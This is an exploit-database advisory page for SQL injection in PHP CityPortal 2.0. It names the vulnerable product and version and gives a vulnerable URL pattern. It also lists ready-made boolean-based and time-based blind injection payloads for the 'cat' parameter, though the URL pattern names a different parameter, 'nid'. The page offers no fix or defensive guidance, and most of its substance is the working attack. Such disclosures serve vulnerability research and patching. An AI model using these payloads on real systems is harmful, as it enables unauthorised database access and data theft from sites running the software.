PHP CityPortal 2.0 SQL Injection

2017.10.01
Credit: Ihsan Sencan
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# # # # # # Exploit Title: PHP CityPortal 2.0 - SQL Injection # Dork: N/A # Date: 29.09.2017 # Vendor Homepage: http://www.phpcityportal.com/ # Software Link: http://www.phpcityportal.com/index.php # Demo: http://phpcityportal.com/demo # Version: 2.0 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Social: @ihsansencan # # # # # # Description: # The vulnerability allows an attacker to inject sql commands.... # # Proof of Concept: # # http://localhost/[PATH]/index.php?page=news&nid=[SQL] # # Parameter: cat (GET) # Type: boolean-based blind # Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT) # Payload: cat=1' OR NOT 6616=6616# # # Type: AND/OR time-based blind # Title: MySQL >= 5.0.12 OR time-based blind # Payload: cat=1' OR SLEEP(5)-- cCQQ # # Etc.. # # # # #


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top